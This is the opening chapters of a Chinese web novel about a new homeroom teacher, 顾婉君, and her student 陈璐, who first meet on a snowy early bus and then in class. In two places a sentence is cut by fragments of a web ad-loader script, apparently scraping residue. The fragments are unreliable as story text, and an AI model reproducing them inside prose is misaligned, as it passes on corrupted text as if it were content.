《说你爱我》 1. 1 宁城是位于中国东北部的一座小县城,春夏秋冬四季分明,当地人热情好客,开朗大方。 而随着南北经济发展愈发不平衡,不光是宁城,选择待在东北的年轻人也越来越少了,也正是因为这样,宁城逐渐成为了一个慢节奏且极具生活气息的地方。 小县城的冬天,早上五点半。 刺骨的寒风肆意地吹刮着树木和建筑物,下了一晚上的积雪如白色的光滑绸缎一般铺盖在整条街道上。 天空仍飘着细雪,四周一片漆黑,没到工作时间的路灯仍在沉睡,而公交车已经开启了早出晚归工作的一天。 顾婉君所在的这趟车是宁城每天第一班公交车,这趟车的终点站是县城里唯一一所高中——宁城一中。 顾婉君上车的时候,车上就已经没座位了,她站在靠近后门的扶杆旁边,前后左右都挤满了人。 乘客中的大部分都是赶着去上早自习的高中生,他们留着利落好打理的发型,穿着学校统一发的、一眼就能辨认出来的冬季校服。 有的人手里拿着小册子,嘴里嘟嘟囔囔地背诵着一会儿要考的内容; 有的人一手抓着扶手,一手拿着包子豆浆狼吞虎咽,估计是想在进学校之前解决完早餐; 有的人则是靠着扶杆低着头闭着眼睛,时不时打着哈欠,显然是还没睡醒却又不得不起来上学…… 细雪纷飞,路面湿滑,车灯灯光扫过的地方一片锃亮,稍有不慎就可能会出现交通事故,驾驶公交车的司机不得不打起百分之二百的精神来开车。 车上人潮涌动,冬日保暖的衣物厚重繁复,压得人喘不过气,公交车尽可能小心翼翼地行驶着,可在转弯和途径公交站牌时,车身还是晃悠得厉害,车上每个人都在努力保持平衡。 尽管身处车内,人们都挤在一起,可喘气的时候照样还是会呼出白汽。 顾婉君跺了跺快被冻僵的脚,把脸和耳朵埋在围巾里,只露出那双秋水长天的桃花眼,为了站稳身体,她紧紧地抓住就近的扶杆,圆润的指尖被冻得微微泛红。 第一次坐早班车没经验,顾婉君生怕赶不上车,结果出门前走得急忘记带手套了。 …… 一阵轻微的摇晃过后,公交车拐进一条新的街道,宁城一中就在这条街上。 快到学校时,不同于其他街的寂静黑暗,这条街道一侧的店铺的招牌和窗户透出光亮,早早开张,其中大多都是学生常去的早餐店,小商店,复印社,文具店等等。 眼见公交车快要到站了,车上的学生开始戴帽子围围巾,准备下车迎着风雪快步进入学校教学楼。 顾婉君下意识摸了摸棉服口袋,想检查一下备课U盘是否还在。 结果下一秒,不知道前方发生了什么,公交车突然一个急刹车,车身直接急晃了一下! 挤在人群里的顾婉君完全没有防备,哪怕手还抓着扶杆,可控制不住的身体随着人潮猛地前倾,之后又惯性地往后仰,活像个不倒翁! 突发事件一出,车上顿时惊呼长叹,议论纷纷,司机既生气又后怕,他深知自己这辆车承载了多少个家庭的希望,以至于他说话的声音都打起了哆嗦: “真是见鬼了!这段路怎么这么滑?不是说已经有车在学校附近清雪了吗?人呢?车呢?” “……” 为了站稳不摔倒,顾婉君紧紧抓住扶杆,右脚下意识后撤了半步,结果这一脚却好像踩到了什么。 糟了,她好像踩到别人了…… 顾婉君暗道不妙,她立马收回右脚,并迅速低头看了一眼脚下。 雪水融化的、脏兮兮的车厢地面上,一只崭新的白色运动鞋不幸被印上了半只湿漉漉的黑色脚印…… 顾婉君心顿时凉了半截,她第一时间想转过身去跟身后被踩的人道歉,可当下人挨人人挤人,她压根转不过身去,连想扭头都费劲。 在看不见被自己踩到的人是谁的情况下,顾婉君只能通过声音来表达自己的歉意: “对不起啊,不好意思,踩到你了。” “没事。” 大概是踩了别人一脚的人和被踩了一脚的人之间无声的默契,顾婉君很快就得到了回应。 清冽悦耳的声线落入耳畔,宛若山间清泉,从声音判断应该是个女孩子。 女孩一般更注重整洁干净,结果她就这么把人家的白鞋踩脏了。 顾婉君在心里叹了口气,她十分后悔自己刚才为什么要后撤那半步。 …… 公交车重新启动,眼看着还有几十米就要到学校了。 生怕再踩到人,这期间,顾婉君的腿像是被钉在了原地,一动不动 想起自己早上走的时候包里装了酒精湿巾,只是现在在车上被挤得完全拿不了,一会等下车给身后的女孩当面道歉的时候,可以拿给对方擦一下鞋。 顾婉君在心里计划着补救措施。 —— 一分钟后,公交车在学校附近的公交站牌前停下。 公交车后门自动打开,凛冽寒风裹挟着纷飞的细雪涌进车内,如同一把锋利的刀片割碎了周围的空气,刺骨的寒意直往身上扑,激得人不禁打了个哆嗦。 下车之后,寒风吹乱了顾婉君额前的碎发,她扯了扯围巾,第一时间四处张望着下了车的高中生们,她试图在众多身影中寻找那个被自己踩到鞋的女生。 四周灯光昏暗,能见度低,从车上下来的高中生们行动灵活迅速,大致分成了两部分,一部分顶着风雪,快步跑进了学校;另一部分则是横穿马路,一路小跑去了学校对面的商店。 顾婉君左看看右看看,这种情况下让她找到刚才被她踩了一脚的女孩属实困难极了。 人找不到,顾婉君只好在心里再次对那个女生道了声抱歉。 低头看了一眼手表,眼见时间还来得及,顾婉君同往常一样转身朝着学校大门口旁的早餐车走去。 …… 与其说是早餐车,倒不如说是一个简易的小推车。 小推车上面放着包着棉被的泡沫保温箱,箱子里装着刚出锅的馒头包子、香脆的油条、外酥里软的馅儿饼、热气腾腾的豆浆牛奶粥,黏黏糊糊的玉米,又香又甜的地瓜,必不可少的茶叶蛋…… 自从来宁城一中当老师后,顾婉君的早餐几乎都是出自这里。 摊主的是一位中年大姐,是个地地道道的东北女人,有着东北人标志性的大嗓门和直爽的性子,每次见着顾婉君都会热情地打招呼,今天也不例外。 “呦,顾老师来了,你今天这身穿得真好看,美丽赛严寒啊,哎对了,你今天咋来这么早呢?” “我当班主任了,以后每天差不多都这个时间来了。” “呦,当班任了啊,那可真是个累人的活儿,咱们小县城拿老师一个人顶十个人用,尤其是高中班任,钱少事儿多还得担责任,你这可得注意点身体啊。” 大姐扶了扶自己头上的棉帽子,哪怕是隔着厚厚的围脖,白汽依旧是呼呼往外冒,冻白了大姐的眉毛:“行了行了,姐不跟你墨迹了,看看今天想吃点啥?” “两个包子,一个鸡蛋,一杯小米粥,谢谢。” 顾婉君边说边把每天事先准备好的饭钱递过去。 “好嘞!马上!” …… 等着装早餐的时候,顾婉君原地跺脚抗寒,揣在棉服口袋里的冰凉的手来回摩擦取暖。 即使围了围巾,那张白皙素净的脸还是被冻得通红,透过围巾呵出来的白汽在顾婉君卷翘浓密的睫毛上凝上一层薄薄的冰霜,像是被雪花亲吻后留下来的痕迹。 大姐手脚麻利,早餐很快就装好了。 接过大姐手中的塑料袋时,桃花般的眼眸中闪过一抹疑惑,顾婉君轻声反问了一句:“姐,我就要了一个鸡蛋,你装多了。” “哎呀,另外那个算姐送的,你这都当班任了,小体格还瘦溜溜的,老远看刮阵风就能吹跑,这样天天点灯熬油地上班身体可吃不消,得多吃点。” “不行,我不能白拿你的东西啊。” 说完,顾婉君就要去翻包找现金,结 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 果却被大姐一把按住,对方直接开启了撵人模式: “哎行了行了,甭找了,块八毛的,让你拿着就拿着,快进去吧,别耽误我做生意!” “……” 带着棉手套的大手手劲儿出奇的大,被按住动作的顾婉君拗不过大姐,只好道了声谢谢。 …… 天还没亮,可教学楼的每一块窗户几乎都散发出淡淡的光辉。 进入校园,身前身后都有步履匆匆的学生,顾婉君把拎着早餐的手缩到袖子里,踏着学生们走过的足迹朝着教学楼的方向走去。 宁城一中一共有三座教学楼,自西向东分别是高一学年,高二学年,高三学年,此刻顾婉君脚下这条路通往高二教学楼。 这是她来宁城一中工作之后为数不多走这个方向。 …… 短短一段路,顾婉君被冻得不知道换了多少次手拎早餐。 快走到教学楼门口的台阶时,顾婉君把插在兜里的那只手拿到嘴边呼了口热气,准备去拉被冻得冰凉的铁门把手。 昨天下了一晚上雪,台阶上除了雪还有冰。 迈到第二节台阶时,顾婉君一个没留神,脚下打滑了一下,伴随着一声下意识的惊呼,她身体瞬间失衡,眼看着就要摔倒了! 这台阶下面是实打实水泥地,这一摔肯定得疼得不轻。 顾婉君脑海里闪过这样一个念头,她都准备闭眼睛了,然而下一秒—— 没有预想的疼痛和冰冷,一双手突然出现在顾婉君背后,眼疾手快地扶住了她的肩膀和腰肢。 …… “你没事吧?” 清冽平静的声音自身后传来,此刻听起来格外让人心安。 差点摔倒和幸运被扶,前后不过短短几秒钟的时间,顾婉君松了口气,她甚至还没看到扶自己的人是谁,道谢的话就已经下意识地脱口而出了: “没事,多亏你扶了我一把,谢谢。” “不客气。” 这声音怎么听怎么熟悉,顾婉君闻声转身看去,站在自己面前的是一个穿着校服、戴着黑色口罩、身形高高瘦瘦的女生。 眼前人比自己矮半个头目测身高165,高马尾梳得干净利落,露出被冻得泛红的耳朵,柳叶眉下一双卧蚕饱满的月牙眼,乌黑透亮的瞳仁中透出的清冷自信与这副温柔精致的眉眼形成了强烈的反差。 这双眼睛笑起来一定会很好看的。 这是顾婉君对陈璐的第一印象。 而至于另一个当事人陈璐呢。 巧的是,就在刚刚扶住顾婉君后背的那一刻,陈璐一眼就认出了对方。 木兰红色针织围巾,米白色菱格羽绒服,同色系灯芯绒阔腿裤,暗棕色粗跟短靴,以及那股闻了一路的、十分好闻的、淡淡的白茶香味。 她就是刚才在车上踩了自己一脚的那个人。 陈璐没想到这前后还不到十分钟,两人就又碰上了。 虽然从没在高二学年教学楼里见过眼前这个女人,但这个时间点能来教学楼的人应该不是学生就是老师。 迎上女人那双温柔漂亮的桃花眼,陈璐礼貌点头:“老师好。” “你好,刚才谢谢你啊。”顾婉君再次道谢。 “没事。”陈璐摇摇头,语气依旧很平静。 周围有不少高中生越过两人进入教学楼,顾婉君本来还想问一句“同学你是哪个班的”,结果赶时间的陈璐看了一眼手表,直接默认对话结束,她三步并两步地迈上了台阶,拉开了教学楼的大门。 距离六点半开始的早自习还有不到二十分钟了,最近每个学年抓学生迟到问题抓得严,一般这个时候学生们大多都已经在教室坐好背书准备一会考小条了,难怪这孩子着急。 顾婉君表示理解。 只是可惜的是她没来得及问对方叫什么名字,是哪个班的。 凡人如你我,谁都无法预卜先知,命运的齿轮悄然转动,此刻的顾婉君还不知道的是她根本不必可惜,因为她们很快就又会见面了。 …… 2. 2 高二学年教学楼一共有14个班级。 陈璐所在的高二(12)班位于一楼,是仅次于高二(1)班文科小优班的文科普优班。 陈璐从后门进来的时候,大部分同学已经在教室里坐好了。 明亮的白炽灯灯光下,每个人几乎都低着头,教室里的空气仿佛凝固了一般,能听到的几乎都是低声背诵、书本翻页、笔尖划过纸张等一系列和学习有关的声音。 陈璐把手里刚刚擦过鞋的湿纸巾团成一团,扔进靠近后门垃圾桶里,之后径直回座。 她坐在教室第三排靠窗的位置,坐在她后面的同学是她的好朋友兼政治课代表——傅一雯。 隔着老远,陈璐就看见傅一雯脸朝下趴在桌上,一动不动,她既没看书也没背题,甚至连每日必补的作业都没补。 陈璐想都不用想就知道这人为什么会这样。 昨天下午自习时间,整个高二学年被叫到阶梯教室开大会,学年校长宣布某些班级要换老师,和高二(12)班相关的教师变动消息一共有两条—— 一是原班主任郑薇休产假,12班要换新班任; 二是原来的政治老师孙丽霞被调去教1班文科小优班,12班要换新的政治老师。 最喜欢的政治老师孙丽霞被调去教别的班。 这对政治课代表傅一雯来说简直就是一个天大的打击。 从高一开始刚入学开始,傅一雯的政治就是孙丽霞教的,她特别喜欢上孙丽霞的政治课,或者确切来说,比起喜欢政治课,她更喜欢这个博学多闻知识渊博的政治老师。 昨天大会上,听学年校长宣布说孙丽霞不再教12班之后,傅一雯先是震惊,之后整个人像丢了魂儿似地整整哭了一个晚自习,硬是哭没了陈璐两包卫生纸。 …… 路过傅一雯的座位时,陈璐看了那人的后脑勺两眼,之后回到自己的座位上。 她刚一坐下,身后突然传来一阵响动。 大概是听见陈璐来了,趴在桌上的傅一雯猛地抬起头,那双肿得像核桃一样的眼睛就那么委屈巴巴地盯着陈璐看。 “怎么了,是要借哪科作业吗?”说话功夫,陈璐已经把昨晚留的几科作业一股脑地放到傅一雯的桌子上了。 “璐璐,怎么办啊,孙老师不教我们了,我再也上不了孙老师的课了……” 傅一雯鼻音很重,语气相当悲伤,显然,她还没有办法接受换老师这个事实。 陈璐看着鼻子都哭红了的好友,不知道该怎么回应。 这还不如说要管她借作业抄呢。 …… 在很多人的印象中,傅一雯是个典型的乐天派,成天没头没脑嘻嘻哈哈,从来没见过她有什么烦心事,可从目前的情况来看,陈璐知道傅一雯这次是真的难过了。 眼见眼前人说着说着眼圈儿又红了,向来见不得别人掉眼泪的陈璐抿了抿唇,她伸手往书桌里摸了摸,结果发现先前买的零食都分光了,已经没有吃的能拿来分散傅一雯的注意力了。 陈璐叹了口气,将求助的目光毫不犹豫地投向了坐在靠门第一排、此刻正在收数学作业的数学课代表江蓁蓁身上。 大概是缘分友谊天注定,陈璐,傅一雯,江蓁蓁三个人从小学就认识,小学、初中、直到现在的高中,三人始终都在同一个班级里。 陈璐外冷内热,冷静果断,在外人看来妥妥的高岭之花,只有了解她的人才知道她是个比起说漂亮话、更喜欢做实事的人; 傅一雯阳光乐观,大大咧咧,鬼点子特多,自称是她们这个三人组里的军师; 江蓁蓁安静随和,细心体贴,成绩优异,一直都是家长口中的‘别人家的孩子’,也是三人组里的调和剂; 就是这样性格迥异的三个人,在相处之后自然而然地成为了很好的朋友,一直到今天。 …… 无意中对上陈璐的求助眼神,江蓁蓁秒懂发生了什么,她看了眼时间,之后拿着还没收齐的数学卷,穿过讲台,走到两人身旁,尽量压低声音道: “傅小雯同学,你都哭了一个早上了,我这作业都快收完了。” “我难受嘛,难受还不让人哭了!” “好啦好啦,知道你难受,我们也很舍不得薇姐和孙老师,不过孙老师只是暂时不教我们班了,但如果我们有不会的题,还是可以跟以前一样去办公室问她啊,又不是见不到了。” “那能一样吗,我就想上孙老师的政治课!” “好好好,你想上你想上,那要不……你去跟咱们学年的吕校长商量商量?” 江蓁蓁一边和傅一雯开玩笑,一边留意着教室前门和后门的动静,她生怕班任……奥不,确切来说是怕新班任搞突袭。 “其实也不是没有解决方法……”看着正在抽纸擦眼泪的傅一雯,始终没说话的陈璐表情认真地插了一句: “孙老师现在教1班,你下次月考努努力,考进1班不就行了。” 话音一落,傅一雯的嘴角彻底耷拉下去了,她一脸‘你知道你在说什么吗’的无奈表情: “璐璐同学,你这是什么馊主意啊,我拿什么进1班,拿英语36分进一班吗?我要是能进1班,我爹妈半夜都得起来给我磕两个!再说了,我才不要离开你们俩呢!” 傅一雯吸了吸鼻子,嘟嘟囔囔地抗议:“那个吕老头可真狠,这次不光是把我的孙老师调走了,还把咱老班也给换了,我看他就是存心拿咱班开刀,别的班怎么没这样呢?” “孙老师为什么调走我不知道,可薇姐要生宝宝了,请产假是必须的呀。” 江蓁蓁声音很轻,回忆起之前郑薇挺着肚子给她们上课的画面,想想就不容易。 “嗯,这倒也是……” 傅一雯瘪瘪嘴,脑袋耷拉下来: “但我还是好难过啊,我跟璐璐怎么就那么惨啊,一个政治课代表,一个语文课代表,结果这俩老师都被换了……不行了,说着说着我又想哭了,要不是为了以后能正大光明地去办公室看孙老师,这政治课代表我真想撂挑子不干了!” “……” 话音一落,生怕某人也说出同样的话,江蓁蓁脸色微变,她下意识瞟了一眼陈璐,主动岔开了话题: “对了璐璐,你昨天是没回家住吗,我妈说看见你坐公交车了。” 陈璐的家就在学校对面的学区房小区里,出了校门横穿马路,之后走个几十步,刷个门禁就到了,根本不需要坐公交车。 “昨天我去看我姥姥了,没回家。”陈璐实话实说。 提到陈璐的姥姥,傅一雯和江蓁蓁同时愣了一下,之后三人默契地没再继续这个话题。 …… 距离打早自习铃还有不到十分钟。 江蓁蓁暂时退出三人姐妹群聊,去收刚来的同学的数学作业。 临走时她嘱咐傅一雯快点补数学卷子,一会别忘了交给她。 江蓁蓁走后,陈璐从书桌最里面摸出一本黑色皮质笔记本,这是她这几天新构思的推理小说手稿,还有很多需要修改完善的地方。 从小到大,陈璐和其他孩子最大的不同就是她特别喜欢看书,尤其是悬疑推理类的书,她家里有整整一书柜的推理小说,里面各式各样推理风格的书,陈璐每本都看过不下五遍。 小学四年级时,陈璐就开始尝试自己创作推理小说,从小学到高中,这一写就是八年,可以说看书和写小说是陈璐最大的两个爱好。 况且目前她也有必须要坚持写作的理由,只是她不想提。 …… 陈璐翻开笔记本准备修改手稿,身后的傅一雯手眼并用地抄着数学卷,嘴上仍絮絮叨叨地不闲着: “哎,璐璐,你干嘛呢,背小条呢?” “没有,昨晚背完了。” “又构思你那小说呢?” “嗯。” “不是,你就一点都不担心新老师的事?” “有什么好担心的。” “唉,新政治老师我是不抱什么希望了,反正肯定比不上我的孙老师,那新班任也不知道是什么来头,菩萨保佑,但愿这俩都是好相处的老师,不然接下来的一年半高中生活可怎么过啊,我可不想给那种事多的老师当课代表啊!” “……” 傅一雯语气似是抱怨,似是祈祷,陈璐没回应。 她不觉得这是个问题,因为在听到说要换新班任那一刻,她心里就已经决定要辞掉课代表一职了。 倒不是对新老师有意见,只是除了郑薇,陈璐目前不想给任何老师当课代表,仅此而已。 …… 傅一雯始终围绕着新老师的话题叨叨个不停,陈璐实在是不感兴趣,她不想再在这个问题上浪费时间,直接拿起中性笔,开始仔细修改小说手稿。 —— 4楼,语文办公室。 除了之前往这搬东西那次,这是顾婉君第一次来这间办公室。 顾婉君是第一个到办公室的,她坐在靠窗的位置,这个位置之前是原12班班任郑薇的位置,郑薇休了产假,顾婉君这次就是来接替她成为12班班任的。 除了冬天窗缝儿关不严有点漏凉风这一个缺点之外,这个位置还是挺好的。 顾婉君摸了摸冻红的耳尖,她刚把早餐放下,后脚就有人推门进来。 利落蓬松的小爆卷短发,犀利的眼神,抑扬顿挫的语调……顾婉君认出对方是4班班任杨金凤。 “哈,这天真是冻死人不偿命,真冷啊,哎,婉君老师来了啊。” 杨金凤的位置正好在顾婉君对面,她一边拉开椅子放下包,一边语气热情地跟顾婉君打招呼。 “金凤姐早,今天是挺冷的。”顾婉君解开围巾,微笑回应。 几天前,顾婉君来办公室收拾东西的时候见过杨金凤,对方比她年长20岁,在宁城一中教学已经二十几年了,是这所学校的老教师了。 “你是赶最早那趟公交车来的吧?” “嗯。”顾婉君点点头。 “当班任之后过的就是这起早贪黑的日子,唉,夏天还行,冬天起早坐车是真遭罪啊,哎对了,北方的冬天又干又冷,你还习惯吧?” “习惯,我也是北方人。” 顾婉君笑着回答,而这个答案却完全出乎杨金凤的预料,话音一落,那双犀利的眼睛把顾婉君从头到脚打量了个遍,奇道: “你是北方人啊?你家是哪的啊?” “云江市。” “哎呦,这不是巧了吗,我家也是云江市的!” 杨金凤拧开保温杯的盖子,吸溜了一口热水,总算是暖和过来了一点, “我听你这说话温温柔柔细声细语的,还以为你是江南水乡那边来的姑娘呢,没成想是老乡啊。” 杨金凤感慨,这大概就是人不可貌相吧,单从外表来看,谁能想不到顾婉君是北方人呢? 而且杨金凤一早就听说这个顾老师是北大毕业的,年轻有为,成绩漂亮得不得了,很多名校都投出橄榄枝,求之不得,可最后顾婉君却出人意料来到宁城这个偏僻落后的小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 县城,实在是让人百思不得其解。 …… 两人简单聊了两句,之后杨金凤就拿着保温杯下楼了。 4班是理科班,男生多,容易闹腾,一般杨金凤都会提前去教室坐镇,顺便再抓一抓抄袭作业的情况。 杨金凤走后,办公室只剩顾婉君一个人,唇角的笑意瞬间淡了不少,眉眼间甚至还流露出些许不安,她一边吃早餐,一边思考一会要怎么跟新同学们破冰。 事实上,起初校长找到顾婉君,提出想让她接替郑薇担任高二(12)班的班任时,顾婉君是拒绝的。 高中班主任需要管理很多事情,不光是要负责学生的学习方面,还要负责和家长沟通、与各科科任协商配合等等多方面问题。 顾婉君来宁城一中不过也就半年时间,没有当班主任的经验不说,而且最关键的是,现在已经到了高二上学期的后半程,部分学生对换老师这种事存在一定的抵触心理,要想建立良好的师生关系,这实在不是一个好时机。 可校长却直接坦白跟顾婉君说实在是没办法了,小县城师资本来就有限,坐镇高三的老师现在处于关键期,根本不能往下撤,高二学年的老师又因为各种事情请假了好几个,所以只能从高一学年调。 他们从一众老师中选中了履历优秀的顾婉君,还说如果顾婉君不接手12班,估计就要学年主任亲自上了。 于是乎,在时长两个小时的苦口婆心的劝说之后,顾婉君答应了接替郑薇成为12班的班主任。 值得庆幸的是,在交接班任工作时,郑薇跟顾婉君提了一嘴说班里的班干都很有责任心,也很能担事,这方面不需要顾婉君太担心。 郑薇还特意强调了一下自己的语文课代表是个细心周到的人,一定能很好地帮助顾婉君。 文科班女生多,再加上郑薇老师说的这几点,自己想融入到班级体里应该会容易一些吧。 几天前,没有过班主任经验的顾婉君还在心里这样安慰自己。 可当人真的站在高二(12)班门口、准备推门进去时,听着自己咚咚的心跳声,顾婉君突然觉得自己心里好像也不是很有底。 —— 六点半的早自习铃准时打响。 高二(12)班。 打铃前的最后一分钟,傅一雯才紧急交上数学作业。 铃响之后,全班同学都坐得标板溜直,大家手里拿着书,可眼神却时不时地瞟向门口方向。 平常这个点,班任郑薇会准时来教室监督早读并听写各科的小条,虽说如今换班任了,但这个规矩也绝对不会改。 作为小县城里唯一的一所高中,不光是高二(12)班,宁城一中所有的老师学生甚至是学生家长都拼尽全力,抓住一切能提高成绩的机会,只有取得好成绩,他们这些小地方的孩子才能有走出去看世界的机会和可能。 新来的班任到底是谁?又是个什么样的人呢?会比郑薇还严格吗? 所有同学脸上都写满了好奇。 …… 时间一分一秒的过去,有几个坐不住板凳的同学已经开始交头接耳的小声讨论起来,一时间,原本安静的教室变得聒噪起来。 眼见讨论的声音越来越大,班长李文琪——一个留着樱桃小丸子短发、戴着黑框眼镜的可爱女生出声维持秩序: “新班任可能是有事耽搁了,大家都别说话了!后面监控还在转呢,一会主任看见咱班纪律不好又得通报批评了!” “……” 伴随着后方监控转动的吱吱声,班长李文琪的话起到了一些作用,教室里讨论的声音立马小了一些。 在要搞小动作之前,傅一雯先转头看了一眼教室右后方墙角上的监控,确认监控没对着自己这个方向,她才伸手拍了拍坐在前面的陈璐的肩膀,探头小声道: “哎璐璐,什么情况,这新老师怎么还没来?” “班长不是说可能是有事吗。” 陈璐眼睛始终没离开自己的小说手稿,可身体却在傅一雯开口那一刻下意识往后贴着座椅椅背,这样方便听对方说话。 “该不会是迷路找不到班级了吧?你要不要去语文办公室找找啊?” “每个班都有门牌,怎么会迷路。” 中性笔在黑色笔记本上勾勾画画删减情节,陈璐没回头,语气相当平静:“再说了,为什么让我去?” “啧,你不是语文课代表吗,你不去谁去?” “又不是只有我一个语文课代表,再说了,我很快就不是了。” “啊?你说什么?我没听清,你稍微大点声——” 傅一雯话问到一半,教室门口方向突然传来一阵响动,被吓了一跳的她条件反射地立马闭嘴,瞬间坐得标板溜直。 早上六点三十五,教室门开了。 同学们不约而同地停止讨论,教室里鸦雀无声,所有人的目光齐刷刷地投向门口方向。 其中也包括把小说手稿藏进书桌堂的陈璐。 怎么说也是新班任,总不能第一次就在他/她面前顶风作案写小说。 之前的班任郑薇在课上没收过陈璐好几本小说手稿,说高考之后再还她,陈璐硬是重写了好几个晚上才补完,从那之后她就开始小心行事了。 要先了解一下新班任的脾气秉性才行。 陈璐是这样想的。 可当看清来人面容那一刻,震惊的情绪如同一道闪电般飞速划过陈璐的脑海,那双原本平静如湖的月牙眼里瞬间掀起阵阵涟漪。 怎么会是她? 3. 3 在同学们一片控制不住的惊呼声和注视下,一位年轻女人径直走向讲台。 女人目测身高170,垂在肩头的长发犹如上好的绸缎,乌黑而柔软,一张端庄而优雅的脸,皮肤白皙细腻,如瓷如玉,散发着淡淡的光泽,一双桃花眼顾盼生辉,泛着迷人的水光,高耸的鼻梁线条优雅有力,如同雕塑一般,饱满红润的嘴唇微微上扬,仿佛可以融化一切严寒。 靠!也没人跟他们说新班任这么好看啊?! 没有人能拒绝美好事物,见到新班任那一刻,傅一雯直接两眼放光,分分钟把之前那些对新老师的不好的假设抛之脑后! 沉浸式欣赏美女的同时,她还不忘了在桌底下踢了踢前面陈璐的凳子,意思是快看美女老师! 结果令傅一雯想到的是,在她没提醒之前,陈璐就已经偏着头直勾勾地盯着新老师看了。 从傅一雯这个位置来看,只能看到陈璐那张线条过分优越的侧脸,她看不真切好友的表情,却能感受到那人看新班任的眼神绝对不一般! 这就是颜值即正义吗,连她们璐璐这朵出了名的高岭之花都被新老师那张脸迷住了?! …… 怎么会是她?这也太巧了。 看着那张面容姣好温柔知性的脸,陈璐抿抿唇,眼睛里闪过几分不可置信。 …… 视线简单扫过底下同学青春洋溢的面庞,先前的紧张心理渐渐消退,顾婉君在讲台上站定,她面带微笑,语气大方地自我介绍: “同学们好,很高兴和大家见面,我是你们的新班主任兼语文老师,我叫顾婉君,郑薇老师休产假,所以从今天起由我来接替她担任12班的班主任,很高兴和大家见面。” 粉笔落笔,行云流水,‘顾婉君’三个字流畅有力地印在了黑板上。 “这是我的联系方式,大家可以记一下,之后有什么事都可以随时打电话联系我。” 顾婉君唇角始终挂着如沐春风的笑意,她的声音轻柔悦耳,语速适中,让人打心里觉得听她说话简直就是一种享受。 从台下同学们脸上既期待又兴奋的表情来看,他们对这个新班任的第一印象相当不错。 得到积极的表情反馈之后,顾婉君心里又稍稍放松了一些。 “因为是刚跟大家见面,所以可能需要占用大家早自习一点时间,了解一下我们班级的现状。” 顾婉君双手撑着讲台,低头看着贴在讲台上的班委名单。 “班长李文琪是哪位同学?请举一下手。” “老师,是我!” 闻声望去,顾婉君看见一个樱桃小丸子发型的可爱女生举起了手。 “好的,我记住了。” 顾婉君笑着点头,示意李文琪放下手,之后又低头看着讲台,“嗯……语文课代表陈璐是哪位同学?请举一下手。” “……” 比起之前班长李文琪举手加出声的示意方式,这次班级里一片安静,没有人说话,以至于顾婉君视线扫了一整圈,最后才在靠窗第三排某个位置上发现自己要找的人。 在看清那双新月般的眼眸时,顾婉君眉心微动,眼里闪过一抹震惊,随之而来的便是旁人不易察觉的惊喜。 是她?怎么会那么巧? 望着那双秀气明澈的眼睛,虽然当时对方戴了口罩,但是顾婉君确定以及肯定自己没有认错人。 原来她叫陈璐。 想起之前郑薇说语文课代表是个细心周到的人,顾婉君觉得这个评价很贴合陈璐那张清秀好看的脸。 考虑到占用早自习的时间,顾婉君压下惊喜的情绪,她刚想开口问对方愿不愿意继续给自己当课代表,结果那人突然主动从座位上起立,先她一步开了口: “老师,语文课代表您能另选别人吗?” “……” 话音一落,教室里所有人的目光瞬间齐刷刷地定格在刚刚表过态的陈璐身上,每个人脸上都写满了震惊。 坐在陈璐后面的傅一雯,在听到陈璐说这话时,差点没一口老血吐出来,她下意识跟坐在靠门口第一排的江蓁蓁对了个眼神。 傅一雯:不是,我那撂挑子不干了就是说说而已,璐璐还真闷声干大事,上来就硬刚新班任啊?! 江蓁蓁:你以为呢,都叫你别瞎说了,这下可好…… …… 陈璐的回答打了顾婉君一个措手不及,虽然在来之前设想过学生们可能会因为突然换老师而抵触自己,可顾婉君没想到这个人会是陈璐。 顾婉君敛起眼底的情绪,微笑询问:“我可以问一下原因吗?” “我身体不是很好,再加上这学期学习压力大,最近有点神经衰弱偏头痛,需要更多时间休息,我之前想跟郑老师说来着,但还没来得及说就赶上您来了,希望顾老师理解。” 陈璐尽量把话说得委婉,她不想给别的老师当课代表是真,不过也有一点,她绝对没有想让新老师下不来台的意思,这是作为学生对老师最起码的尊重。 …… 陈璐身体不好,这点全班同学一早就深信不疑,因为陈璐总是请假,有的时候两三天都不来,大家很难不怀疑是不是经常生病,以至于不能上学。 然而事实是这样吗? 当然不,只有傅一雯江蓁蓁才知道,陈璐请假的时候,多半是难得有灵感、写小说写得停不下来,或者是熬夜犯了偏头痛,真的没法来学校。 在傅一雯看来,陈璐之所以会神经衰弱,多半因为写那些一惊一乍的推理小说累的。 …… 或是女孩脸色看上去确实太过苍白,或是从语气判断出这人确实心意已决,顾婉君掩下眼底的情绪,没再勉强: “这样啊,既然身体不好,那还是好好休息吧,毕竟身体是革命的本钱,健康最重要,你先坐下吧,咱们班应该不止一个语文课代表吧。” 顾婉君低头看了一眼讲台上的班干表,之后抬头询问: “秦浩阳是哪位同学?” 话音一落,一个坐在后排的书生气十足的男生举起了手。 顾婉君让秦浩阳暂时接下陈璐的工作,之后如果忙不过来的话再选第二个课代表。 …… 依次认识了各个班干和各科课代表之后,顾婉君总结表态: “我非常期待能够和大家建立起一种亲密和谐的教学关系,我将竭尽所能为你们提供指导和帮助,无论是学习上还是生活上,我希望你们能够把我当作一个可以倾诉和分享的朋友,你们有什么想法和问题都可以随时找我,我希望我们高二(12)班能够成为一个团结友爱,互帮互助的集体,大家一起成长、一起进步。” …… —— 下早自习之后,顾婉君把陈璐和秦浩阳叫到了办公室。 这个时间点,语文办公组的老师该来的都来了。 陈璐是语文办公室的熟面孔,一进办公室,出了名的八卦大嗓门李冰老师就一边照着镜子补妆,一边像以前那样笑着调侃她: “呦,来了啊,小美女课代表。” “老师好。”陈璐点头问好。 “嗯,好。”李薇笑笑,抽了几张纸,起身离开了办公室。 短短两三句话,可以看出陈璐和办公室其他老师确实都很熟悉。 顾婉君不动声色地收回看向陈璐侧脸的视线。 …… 回到自己的位置之后,顾婉君嘱咐说让陈璐辛苦一下,利用课间时间把手头语文课的代表工作交接给秦浩阳,之后又用以去印刷室取一下语文卷子的借口支走了秦浩阳。 …… 四目相对,淡淡的白茶香味直往陈璐的鼻子里钻,她被盯得有些不自在,刚想说‘老师如果没什么事我就先回班级了’,结果下一秒顾婉君看着她的眼睛,轻声开口: “今天早上谢谢你。” “啊……不客气。”陈璐摇摇头,心里想着估计这人还没认出来她就是在公交车上被她踩了一脚的人。 “去看过医生了吗?” “什么?” “你说你身体不太好,去看过医生了吗,医生怎么说?” “……” 话音一落,陈璐眼里闪过一抹震惊。 